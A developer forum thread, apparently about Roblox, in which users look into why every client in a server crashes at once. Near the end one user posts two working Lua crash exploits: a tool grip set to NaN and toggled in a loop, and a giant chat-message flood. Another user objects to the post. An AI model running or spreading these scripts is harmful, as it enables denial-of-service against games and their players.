I started to experience this in my game and also found it in The Streets nowadays which made me think it’s common.
All clients crash with pop up unexpectedly.
I found another topic saying this is chat bug so maybe it’s all about old chat bubbles? This is happened when I switch to old chat because new bubbles were glitchy.
This is causing player loss for most games and need to be fixed by roblox itself.
Do you have any vulnerable remote events? They do get rate limited, but if the server script is poorly optimized, it will cause issues. Do you have any free models?
If the neither of the above are true, than it’s probably a ddos attack.
Only third party script I have is adonis. However as I said I experience this in another games too like “The Streets” the game randomly crashes (the streets uses old chat but doesn’t have adonis) I think it’s probably caused by old chat bubbles
Roblox itself is poorly optimized more than game. For example characters and sounds can memory leak. Roblox staff should investigate this
Are you sure its the real Adonis and not some infected model? (yes some people take real free models, infect them, and reupload them.)
If it’s the legitimate Adonis then its probably a vulnerable remote or something.
Unless DDoS attacks evolved to crash every single Roblox client, producing the little An error has occured and Roblox needs to quit popup, I can confirm it’s not a DDoS attack.
Players always report their client crashes, and players in the same server always crash at the same time as each other.
DDoS is made to server. The last scenario by this would be clients losing connection because server can’t handle and can’t respond to requests however crash is not possible.
I found this script, I’m not smart enough to know how it works, but feel free to find out. It advertised itself as working in 90% of all servers.
local LP = game:GetService('Players').LocalPlayer
local LC = LP.Character
local LB = LP.Backpack
local Hum = LC:FindFirstChildOfClass('Humanoid')
local Tool = nil
if not Hum then
return
end
Hum:UnequipTools()
for _, v in next, LB:GetChildren() do
if v:IsA('Tool') and v:FindFirstChild('Handle') then
Tool = v
break
end
end
if not Tool then
return
end
Tool.Parent = LB
Tool.Grip = CFrame.new(0/0, 0/0, 0/0)
for i = 1, 10000 do
Tool.Parent = LC
Tool.Parent = LB
end
I also found another script which uses chat (?) to crash the server.
local v =96000000 --Maximal bit stream on client
-- (96000000 - 12) -- Maximal bit stream that server accept +-2
local msg = ""..string.rep(" ",(v - 12))
game.Players:Chat(msg)
@PolicePocholo Please Avoid posting potentially destructive exploits for any game here publicly, I have already flagged your post so that we have it removed, exploits would only find it more easily